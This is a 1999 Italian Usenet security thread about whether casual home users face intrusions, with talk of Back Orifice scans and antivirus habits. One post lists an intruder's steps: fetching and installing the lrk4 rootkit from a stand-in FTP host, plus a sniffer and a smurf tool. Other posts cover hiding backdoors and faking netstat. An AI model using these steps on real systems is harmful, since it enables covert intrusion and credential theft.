Newsgroup: it.comp.sicurezza.varie
Titolo: Intrusioni... ma quando?

salve, 
vorrei sapere se il rischio di intrusioni nel pc e' legato
per la maggior parte all'uso di programmi tipo irc/icq,
oppure se sono tutti potenzialmente 'in pericolo'.
cioe':
un utente come me, che usa internet solo per posta, ng e 
scaricare ogni tanto qualche programma (quindi niente chat
varie), DA CHI dovrebbe essere attaccato? 
se qualcuno volesse frugare nel mio hd, come avrebbe fatto 
a pensare proprio a me? sarebbe un'eventualita' dovuta 
esclusivamente al caso?
chi sono i _soggetti_a_rischio_? 
leggo qua e la di questi bo, nuke, chiudere la porta xyz,
gente in preda al panico che posta decine di righe di log,
ecc... ma se uno 'non se la va a cercare', puo' stare 
tranquillo?
 
scusate, spero di essere stato abbastanza chiaro anche se
non conosco la terminologia tecnica appropriata.
grazie

tranquillo?
In linea di massima si, se adotta le comuni cautele per i virus, tipo
AV, non eseguire programmi della cui origine non si e' certi ecc...
 
Ciao.
____________________
Michele Ferraudo
Torino
email:
ferr...@NONusaRE.net
togli le maiuscole NON e RE per rispondere
ICQ 22344505
Tersite

oppure se sono tutti potenzialmente 'in pericolo'.
beh... irc o icq danno una mano all'attaccante, ma non sono, di per se
stessi, veicoli di "infezione". Certo, magari innervosisci qualcuno su
irc, oppure nella contact list di icq c'hai qualche "amico", e allora,
sapere quando sei on line, da un mano.
Ma, in realta', un'attacco puo' benissimo essere casuale.
Uno puo' fare degli scan di intere subnet, cercando magari risposta
all'interrogativo: "chi sta usando personal web server?".
Oppure "c'e' qualcuno che ha condivisioni di file o stampanti senza
password con un bel binding su tcp/ip?".
O "c'e' qualche ftp ospitale?".
ciao
Buttha
-----------------------------------------------------------------------
* Per rispondere rimuovere i
* PGP Key: RSA & DH/DSS
* 
http://members.tripod.com/buttha/
-----------------------------------------------------------------------

 chi sono i _soggetti_a_rischio_? 
ICO e' a rischio, poi che io sappia Mirc e' un'altra porta verso
eventuali intrusioni... installa AVP (
www.avp.it
) che fornisce una buona
protezione.
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
<<   Available PGP keys: DSS/DH                   >>

 tranquillo?
teoricamente nella vita di tutti i giorni si. Purtroppo, noto con
crescente disgusto come esistano persone che si reputano hacker
utilizzando codici ed exploit di altri. A quel punto questi sedicenti
lama (manco cracker possono esser chiamati) si buttano a caso su qualunque
tipo di obiettivo possibile secondo la massima: un qualunque target
papabile e' meglio di un fallimento su obiettivo intenzionale.
Non voglio OTizzare sulla compulsivita' che li spinge, ma ti assicuro che
la possibilita' di essere un bersaglio e' proporzionale al tempo che passi
in rete :)
Quanto ai rischi ... ogni programma di rete che usi e' potenzialmente e
teoricamente pericoloso. Molti credono lo siano solo quelli che aprono
porte in ricezione (LISTENING in poche parole) ma non e' cosi', anche quei
codici che si collegano a server sono passibili di problemi ...
invy
-----BEGIN GEEK CODE BLOCK-----
Version: 3.1
GSS/TW/O>AT d?(dx) s+:+, s: a-->a- C++(C+++) UL+++>UL++++ P+ L+++>L++++
E-- W(W-) N++ K? w-- O- M- V- PS++ PE Y+ PGP++ t++@ 5 X+ R+(R++) tv b+++
DI+++@ D+ G>G++ e++ h r+(r-) y++*
------END GEEK CODE BLOCK------


ICQ #34602650

chi sono i _soggetti_a_rischio_? 
Chiunque si colleghi a un provider nazionale, di solito si cercano polli
facendo una scansione dei loro banchi di modem.
-- 
ciao, | [Per rispondere togli "toglimi" dal mio indirizzo.]
Marco | * The Internet is full. Go away.  -- Joel Furr *

 tranquillo?
Io non sapevo ed ero tranquillo.
Poi ho scoperto come funzionano i trojan, cosa sono gli IP, ecc... e 
sono diventato paranoico.
Infine ho "capito" cosa sono TCP/IP, ping, ecc... e mi sono calmato.
Le FAQ, a questo proposito, sono state INDISPENSABILI.
Le regole d'oro:
1- ottimo antivirus aggiornato (in task + controllo periodico)
2- non aprire allegati da sconosciuti
2.1- esaminare *tutti* gli allegati.
3.- esaminare *tutti* i file scaricati.
Il succo del discorso "intrusioni", che era sfuggito pure a me, 
subito, è che se non hai una backdoor (vista dagli antivirus) sul pc 
(o se non hai eseguito il cosiddetto "server") NESSUNO ci può entrare. 
E per sapere se ce l'hai ci metti un attimo.
Rimando alle FAQ e stai tranqui.
--
CiAo
Esteban
***
Togliere NOSPAM per rispondere in e-mail,
oppure: 
joe...@freemail.it

di bo e non ho registrato ancora nessun tentativo.
controlla che sia ben configurato il fake, perche' mi sa che qualcosa
non funzioni :)


E per sapere se ce l'hai ci metti un attimo.
fino alla riga prima ok, qui invece eccedi un po' di ottimismo...
come fai a sapere se hai una bd e/o qualcosa di altro installato?
(l'unico modo certo che mi viene in mente e' reinstallare *tutto*
appena prima di collegarsi..)
unmaurizio, come sempre, paranoico (ma ho iniziato a leggere man
ipfwadm... dormiro' tranquillo dopo?)
=ciao=
nebbia

non funzioni :)
ehehe, se si vuole controllare la configurazione antibo/netbus basta
fare una capatina su #italia in orario popolare ;)
=ciao=
nebbia


perche' dici cosi'? io per ora ho ricevuto un solo attacco bo, loggato con 
iplogd. e funziona, visto che ho provato ad attaccarmi da remoto giusto ieri.
mi sa che i simpaticoni che si divertono ad attaccare lo fanno solo con
provider piu' grossi. con un piccolo porvieder locale non ci provano gusto.
o sbaglio?
-- 
chicco
per scrivermi togliere NOSPAM dell'indirizzo.
dice il saggio:" meglio un culo gelato che un gelato nel culo"

o sbaglio?
Non so, anche io sono mesi che sto' tranquillo.
Praticamente il firewall si sta' smaronando :-))
Non fatevi venire strane idee pero nč!!
Ciao.

O "c'e' qualche ftp ospitale?".
Ecco... quest'ultimo punto mi tocca molto: come farebbero a profanare l'accesso ftp alla mia macchina?
Ho installato WuFTPd37.21 (vecchiotto, ma funzia).
Salut!
GHERdO, *AMiGA* Supporter Since 1988. linux box Mandrake.
ICQ:15464664 - A12ooT 'o3o.fpu 34MB HD2.54GB CD24X.

Non so, anche io sono mesi che sto' tranquillo.
allora ha ragione chicco, pingano solo gli uTINti
=ciao=
nebbia

O "c'e' qualche ftp ospitale?".
E' per questo che ho configurato la Linux box come l'ho configurata.
Perche' le risposte sono dentro di lei, E PERO' SBAGLIATE.
Leonardo QueLo
".signature": bad command or file name

 non funzioni :)
Beh, puň essere, ma non credo sia questo il problema (controllerň
comunque). Fino a poco tempo fa ero legato a un provider minore, quindi
ero difficile da "trovare". Adesso mi connetto tramite un provider a
livello nazionale, ma continuo a tenermi lontano da irc e simila che non
mi interessano. Anche icq lo uso solo in ufficio dietro ad un firewall
(adesso manco quě, perchč la versione "nuova" per winzozz ha
implementato una "miglioria peggiorativa" per cui non riesce piů ad
uscire attraverso il socks server, cosa che faceva benissimo la versione
precedente).


 ti sei ricordato di metterla in linea? :-)
Me ne sono ricordato, me ne sono ricordato... :-) ti garantisco che
nessuno da alcuni mesi a questa parte non mi ha ancora pingato.
Ci tengo a precisare che passo al massimo un'ora su internet,
tre/quattro giorni la settimana (al massimo), e mi tengo lontano dai
server irc :-) 


 appena prima di collegarsi..)
Ommadonna! Che catastrofico! Già formatto ogni due mesi per i casini 
che combino IO, ci mancherebbero anche gli hacker!


 quindi non devono destare più di tanta preoccupazione.
Nella mia discreta ignoranza in materia, io penso che comunque ci
sia attacco e attacco, o meglio attaccante e attaccante.
Dal momento che gli hacker (e i cracker) veri esistono (e non solo nei 
film), ritengo che li si debba distinguere dai liceali brufolosi
che sfogano le loro frustrazioni sessuali e non, in una vita fatta 
di lunghe nottate trascorse nel buio della loro cameretta a 
straziarsi la mente (e le mani) con seghette mentali sulle varie
backdoor e sul loro futuro da guru della net-society.
Secondo me loro rappresentano la vera rottura di maroni in rete.
           ^^^^
Mi viene veramente difficile credere che un cracker serio
(magari "malicious", ma con attributi _informatici_ indiscutibili)
si passi la vita a pingare alla ricerca di boserver.
Ebbene, se mi sbaglio correggetemi, ma spiegatemi anche che gusto
(e che _interessi_) potrebbe trarne. Se io fossi un cattivo cercherei
sicuramente di entrare in macchine a IP fisso e sempre in rete.
Scusate la sbrodolata, forse un po' off topic.
Saluti.
-- 
La tolleranza e' la virtu' di chi non deve dimostrare nulla ...
(Togliere `X' per rispondere).
					@>-+Vex+-

come fai a sapere se hai una bd e/o qualcosa di altro installato?
credo si riferisse alle backdoor convenzionali: una netstat, una
controllatina al registro e via.
Va bene per il 99% dei casi: diciamo che ha statitisticamente ragione.


o sbaglio?
non ho mai pensato in questi termini, ma potrebbe esserci un fondo di
verita'.


 Secondo me loro rappresentano la vera rottura di maroni in rete.
Esistono gli hacker, o più precisamente esistono le persone che ci
studiano e ci chiappano sul serio sui sistemi e la sicurezza. Questo non
significa che una persona che sarebbe "potenzialmente" (per conoscenze,
capacità personale, caparbietà) in grado di violare un sistema venga a
rompere le scatole a me, a te o a qualcun'altro a caso. Questa non è
prerogativa di queste persone, è prerogativa dei rompicojoni. La figura
dell'hacker (inteso come esperto e/o potenziale conoscitore della
sicurezza nella rete, nel bene e nel male) non si combacia con la figura
del rompicojoni, perchè il rompicojoni standard di cui stiamo parlando
utilizza strumenti e tecnologie che necessitano l'intelligenza e la
preparazione di un cane addestrato male. Non è che ci voglia una
intelligenza e una preparazione "eccelsa" per rompere i coglioni a un
disgraziato che ha il boserver installato o per nukare con l'apposito
programma scaricato da astalavista. 
In secondo luogo c'è il "conflitto di interessi", se ti interessa
studiare i protocolli di rete e la sicurezza non perdi certamente tempo
con un banalissimo programmino client / server che non ha nulla (ma
proprio nulla) di interessante da capire. Al massimo una persona
intelligente può trovare divertente e costruttivo scrivere un clone e
prendere per il culo chi lo usa. E' una questione matematica, i giorni
sono di 24 ore per tutti e se uno trascorre il tempo a svolgere attività
stupide come "prendere il controllo di macchine su cui è installato un
programma di controllo remoto" (bella scienza) difficilmente avrà avuto
il tempo per diventare un "esperto" delle reti.
Ma qual'è la vera rottura di maroni della rete? Purtroppo sono questi
bischeri, per due semplici ragioni: sono tanti, sono tante le possibili
vittime e fanno della rottura di coglioni la loro ragione di esistere
nella rete. Penso che in questo momento stiano leggendo decine di
persone in grado di studiare per me e per te scherzetti "pesanti", ma
non lo fanno per la semplice ragione che l'idiozia di fare scherzi a
sconosciuti senza ragione è in contrapposizione con l'intelligenza
necessaria per farlo (un gatto che si morde la coda).


Perche' le risposte sono dentro di lei, E PERO' SBAGLIATE.
istigazione a delinquere :)


istigazione a delinquere :)
Ma quando mai? Baiting, not bailing.
Leonardo e una battuta orribile


o sbaglio?
Ce ne sono meno. Sono tanto tonni che come "indirizzo IP" prendono il
proprio o quello di qualcuno che hanno trovato su #italia o simili, e
fanno scanning sull'intera sottorete.
Se tu scrivi da pippoNET, e nessuno ne sa l'IP, ne' conosce gente che
si colleghi tramite pippoNET, la maggioranza dei coglioni non ti vede
neanche.
Leonardo


 Va bene per il 99% dei casi: diciamo che ha statitisticamente ragione.
Cos'è quell'1% che mi frega? Che tipo di subdole backdoor esistono?
(...raga', non ricominciamo con le paranoie, eh?)


(...raga', non ricominciamo con le paranoie, eh?)
heheehe.
Non ancora, non ancora... ma bisogna sempre essere preparati al peggio
:)
Cmq
a) una backdoor puo' partire anche senza chiamate al registro
b) il tuo netstat potrebbe essere stato manomesso


 
Ti diro' che sono d'accordo.
Ma in realta', a parte tutte le considerazioni possibili (tante, ma mai
abbastanza)
sulle masse di velleitari del Back Orifice di cui sopra, c'e' una cosa
che mi 
preoccupa veramente. Io credo di essere abbastanza al sicuro da quel
punto di
vista: navigo con linux (e non voglio insinuare nulla!), non sono un 
frequentatore di siti "a rischio", IRC e ICQ so cosa sono, ma solo per 
sentito dire. Quindi a parte qualche giovane imberbe offeso da quanto io
possa dire 
qui (o su NG affini) non vedo chi e come potrebbe venire a rompere.
Vengo al punto: cio' che mi preoccupa sono invece persone *veramente*
brave,
e *abbastanza* cattivelle da avere capacita' ed interessi ad entrare
*veramente* 
in un computer.
La domanda e'questa:
Costoro possono avere qualche interesse a cercare di "penetrare" (tanto
per citare
un post che ha fatto tanti proseliti) in un computer di un ignaro utente
che si connette
da casa per (esagero) un'ora al giorno.
Ossia, parliamoci chiaro, se sono un Cattivo (con la C maiuscola,
appunto) vado forse
a cahare un pisquanello che naviga con IP dinamico e di cui non so se o
quando potro' mai
recuperarlo (magari per riprendermi tutta l'immondizia che gli ho
rifilato)?
Boh? Mi piacerebbe avere chiarimenti in materia.


(...raga', non ricominciamo con le paranoie, eh?)
non sono paranoie ;) sono io che sono perfido... stai tranquillo, il
fatto stesso che tu ti preoccupi della cosa ti salva... sono gli
ignavi che stanno schiavizzati...
cmq proprio in questi giorni ho letto in giro (eheh) di bd
compresse&cifrate che neppure il buon vecchio avp+mcafee le vede ;)
ovviamente se la bd si accodasse (*1) al file explorer.exe, o
msgsrv32.exe che sono legittimati ad essere in esecuzione, e se
addomesticasse netstat ehehehe
ancor + ovviamente pero' tali bd *non* si installano da sole, ci vuole
sempre un aiuto *umano*.
(*1) accodasse non e' il termine corretto, magari alle volte puo'
accodarsi *senza* far aumentare la dimensione dell'eseguibile..
=ciao=
nebbia

a) una backdoor puo' partire anche senza chiamate al registro
che mi altera il netstat appena rimpiazzato.
Quindi: LOOP infinito.
Spero che NON ci sia un fondo di verità.
Ciao. (un 38special SUPER paranoico)

 da casa per (esagero) un'ora al giorno.
Credo di poter fare alcune considerazioni filosofiche.
Violare in qualche modo un pc qualsiasi è un atto gratuito, o almeno lo
è per colui che nella sua vita ha studiato parecchio. Non lo è per il
lamer ignorante, perchè per lui il "potere" datogli da un boclient è
motivo di soddisfazione "culturale". Un lamer è attratto da questa cosa,
un hacker no. La differenza sta in questi termini.


ok
grazie a tutti per le numerose risposte.

E io lo copio tutti i giorni bello fresco dal cd.
Createne una copia con un altro nome, compressa e nascosta con
SilkRope dentro un altro eseguibile :-) ... e non solo NETSTAT
ma anche le DLL che utilizza (le si rinomina, e si cambiano le
chiamate dentro al NETSTAT).
Cavolo, quando uno ti cracka il sistema, mica si mettera' giu'
con uno scanner a vedere quali binari contengono tools utili a
un debugging d'emergenza?


 chiamate dentro al NETSTAT).
Porco cane, ragazzi, siete completamente matti (in senso buono)....
Sarà che io non amministro una rete da 1000 pc, ma vi immagino chini 
sulla tastiera ad orari mostruosi, con gli occhi a 17 pollici... a 
diventare hacker-buoni per difendervi dagli hacker-cattivi!
Con tantissima simpatia e qualche ping.


Ho installato WuFTPd37.21 (vecchiotto, ma funzia).
mah... probabilmente tenterebbero la solita via del buffer overflow,
che su macchine win, nella maggioranza dei casi, porta alla morte
dell'ftp ma a nessun'altra violazione, cosa piu' facile nei casi unix.
ciao
Buttha (che aspetta le smentite :) )


un hacker no. La differenza sta in questi termini.
per fortuna non esiste solo il bo e affini.
Ringraziamo le software house.
ciao
Buttha


Con tantissima simpatia e qualche ping.
heheehehee, un ping pure a te


un debugging d'emergenza?
No. Oggi ho verificato di nuovo che la procedura standard e`:
mkdir /usr/man/man1/...
cd /usr/man/man1/...
ncftp 
ftp.indovinacosa.com
tar xzvf lrk4qualcosa.tgz
cd lrk4
make install
<installa eggdrop, linsniffer e uno smurfer>
-- 
ciao, | [Per rispondere togli "toglimi" dal mio indirizzo.]
Marco | * The Internet is full. Go away.  -- Joel Furr *

Ho installato WuFTPd37.21 (vecchiotto, ma funzia).
Passando cinque minuti su 
www.rootshell.com
 a cercare l'exploit
appropriato.
wu-ftpd vecchio ==> buco assicurato


 di bo e non ho registrato ancora nessun tentativo.
'Azz, allora io sono proprio sfigato... cioe', ieri NN ha fatto "bang" dopo un
sacco di tempo in cui e' stato in silenzio, ma insomma di tentativi ne ho
registrati qualche decina in alcuni mesi. Non molti rispetto a certe
smitragliate di cui ogni tanto qualcuno posta i log, ma nemmeno cosi' poche,
considerato che non frequento irc. Degno di nota un tipo di MCLink, che e'
quello del tentativo di ieri.
Ciao, Max (che sono fondamentalmente un buono, anche se non buonista... e sa
che a MCLink hanno il grilletto facile con 'sta  gente...).
-- 
Emma for Europe: 
http://www.emmaforeurope.it/
        [ FIRMA I REFERENDUM!!! ]
----------------------------------------ICQ: 14816698----
Home Pages: 
http://www.agora.stm.it/M.Baldinelli/home.htm
 
http://www.tifonet.it/free/ancona/index.html
 
M.Bald...@agora.stm.it
---------------------------------------------------------

 Penso positivo... ossia apro Netstat alla connessione, faccio una
#define PARANOIA
Come ho letto su altri thread: e il Netstat, chi ti dice che e' proprio quello
originale e non un clone che ha lo stesso output ma fa anche "dell'altro"?
Allora, l'unico modo di essere sicuro e' riprendere il netstat dal cd di
Windows ogni volta.
#undef PARANOIA
Ciao, Max (che fidarsi e' bene ma...)


allora ha ragione chicco, pingano solo gli uTINti
mica vero .... io ho dada che non è poi così diffuso e solo la
settimana scorsa c'hanno provato almeno in 5, da tin, flashnet, agorà 
ed un comproviderino particolarmente affezionato
Tue May 11 21:18:34 1999:3: Back Orifice: 
dadovago1094.dada.it:1323
("<Start Web server> 666 ")
Thu May 20 20:19:44 1999:3: Back Orifice: 
dadovago1044.dada.it:1604
("<Send system passwords> - -")
Fri May 21 22:18:24 1999:3: Back Orifice: 
dadovago1115.dada.it:1146
("<Ping> - -")
Sun May 23 19:33:23 1999:3: Back Orifice: 
dadovago1017.dada.it:1257
("<Ping> - -")
mah, forse gli sono simpatico ....
apropos, visto che ci siamo,  ricevo spesso 
Sun May  9 19:48:01 1999:4: UDP connection attempt to port 2140/udp
from 
a-bo29-24.tin.it:60000
 [116]
Thu May 13 19:10:09 1999:4: UDP connection attempt to port 2140/udp
from 
a-bo28-8.tin.it:60000
 [117]
Thu May 13 22:56:33 1999:4: UDP connection attempt to port 2140/udp
from 
a-bo24-26.tin.it:60000
 [116]
cosè ???
La 60000 non è la porta in listening di X ?
Byez
puppappera

La 60000 non è la porta in listening di X ?
Normalmente e' la 6.000, non la 60.000.
Ciao.roberto
--
Save our planet!
Save wildlife;
For your E-MAIL use only recycled Bytes !!
roberto poggi  
rpo...@softhome.net

Porco cane, ragazzi, siete completamente matti (in senso buono)....
Non ho mai fatto mistero di soffrire di una leggera forma di
psicopatia [1]. In senso cattivo :-)
Leonardo "neurosi ossessivo-compulsiva, per la precisione"
[1] leggasi "...di ALMENO una..."


La 60000 non è la porta in listening di X ?
E' la SUA porta originatrice. Un qualche strano attrezzo che si
collega dalla SUA 60000 e cerca qualcosa sulla TUA 2140. Strano
assai.
Leonardo che ha una vaga idea ma deve fare indagini


ncftp 
ftp.indovinacosa.com
Perfetto. Provvedo subito a backdoorare ncftp: tanto io non lo
uso mai.
Leonardo


Perfetto. Provvedo subito a backdoorare ncftp: tanto io non lo
Uh, no, era solo un riflesso condizionato mio, hanno sempre usato ftp.


wu-ftpd vecchio ==> buco assicurato
yep! Sono veramente contento :(
CMQ, tnx, vado a cercare qualcosa di piu' aggiornato.
GHERdO, *AMiGA* Supporter Since 1988. linux box Mandrake.
ICQ:15464664 - A12ooT 'o3o.fpu 34MB HD2.54GB CD24X.

assai.
Infatti, č per questo che non mi tornava.
Ho avuto qualche richiesta alla 60000 ma questo mi sembrava normale
(qualcuno che cerca un Xserver aperto ... beh, ciccia :-). lo strano č
che questo tipo PARTE dalla 60000 .... mah ...
ciauz
puppappera

Normalmente e' la 6.000, non la 60.000.
Ooops, mi sa che hai ragione .... e allora che minchia cercava
quell'altro sulla mia 60.000? (non parlo di quello che ho postato)
Cacchio, ho deletato il log riguardante isso, ma sono sicuro che mi
attentava la 60k .. avendolo preso per un tentativo di logging su
Xserver non gli avevo dato importanza.
merda, piů leggo sto' gruppo (e ormai sono mesi) meno ne capisco ....
byez
puppappera

>allora ha ragione chicco, pingano solo gli uTINti
Quelli di Flashnet segnalali ad 
ab...@flashnet.it
: gli amministratori
saranno lieti di sodomizzare il loro account in tuo onore. Quelli di
Tin... beh. io ho sempre l'agenzia di viaggi interstellari visto che
quegli animali di amministratori se ne fregano quando protesti ;-)
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
<<   Available PGP keys: DSS/DH                   >>

Uh, no, era solo un riflesso condizionato mio, hanno sempre usato ftp.
Allora sto a posto: ftp e' backdoorato da quando c'e' :-) (funziona
benissimo, solo che se il sito da cui tiri giu' roba non compare in
una lista di siti autorizzati, *qualsiasi* cosa tu tiri giu' verra'
sputtanata alla vole', tranne i file ASCII e uuencoded.
Non penso che al pirlone venga in mente di tirarsi giu' un *.uue, o
di usare wget (sempre se sa cos'e').


 che a MCLink hanno il grilletto facile con 'sta  gente...).
E' una cosa che sento dire spesso, qui e non solo, quindi cedo al parziale
OT.
Io ho segnalato a mc-link un simpaticone che aveva fatto, su
it.tlc.cellulari, un mailbombing di parole incomprensibili, seguito il
giorno dopo da un altro di bestemmie pesanti. 400 post a botta se ben
ricordo.
Il genio, peraltro, posta regolarmente su it.discussioni.litigi con nome
Davide,,,, e vi aveva inviato un post 1 minuto prima del mailbombing, con
il suo nome, dallo stesso ip, senza nemmeno disconnettersi nel frattempo.Con
lo stesso nome aveva trolleggiato su itc, e di questo li avevo ovviamente
informati
Bene, preparo la mia mail di garbata protesta, spiegando quanto sopra, e mi
appresto a spedirla a mclink. Dove?
Prima sorpresa: whois -h 
whois.abuse.net
 non trova nessun indirizzo
registrato per gli ip di mclink.
Per abitudine provo 
ab...@mclink.it
 che pero' non esiste, la mail mi torna
indietro.
Poco male spedisco a 
postm...@mc-link.it
 . Questo ce l'avranno, che
diamine.
E infatti e' cosi', pero' la mancanza di un indirizzo specifico per gli
abusi, per un provider che ha fama di grande serieta', gia' mi fa venire
qualche dubbio...
Due giorni dopo mi arriva la risposta: " Abbiamo ricevuto la sua
segnalazione. Come forse sapra' , e' possibile che qualcun altro usi un
account all'insaputa del proprietario. Dunque non abbiamo preso
provvedimenti contro di lui, ma lo abbiamo solo informato per e-mail,
consigliandogli di cambiare la password".
Grandi. Quelle clausole nel contratto, in cui si ricorda che l'utente e'
obbligato a custodire la password, e di norma responsabile di cio' che
avviene tramite il suo account, sono uno scherzo di carnevale?
Un controllo su dejanews avrebbe permesso di verificare quanto dicevo. Ma
quantomeno, potevano mandare un'e-mail a sto Tizio, annunciando che
avrebbero preso provvedimenti contro di lui a causa del mailbombing su itc.
Se risponde di non saperne nulla, avvii le indagini o lasci fare, ma se non
risponde, o risponde senza negare, chiudi tutto, o almeno sospendi, o almeno
minacci...
Potevo fare un salto ai Carabinieri (Denial of service a parte, bestemmiare
in pubblico e' reato procedibile d'ufficio) ma le possibili conseguenze per
l'astuto Davide,,,, (e per mc-link, se qualche zelante pm avesse sequestrato
le macchine con i log durante le indagini) sarebbero state eccessive per una
bravata. Altri hanno chiesto al gcn senza alcun esito. Magari una loro
segnalazione poteva essere piu' autorevole della mia.
Morale, il tizio continua a scrivere su idl, naturalmente; ho scaricato idl
per curiosita', una decina di giorni orsono, e non si nega, di quando in
quando, una benefica floddatina sul ng.
Ma sicuramente e'  ancora il fantomatico ladro d'account...
--
Ciao,
Francesco
Warning: Address changed!
Sopprimi Bindi per rispondermi in e-mail
---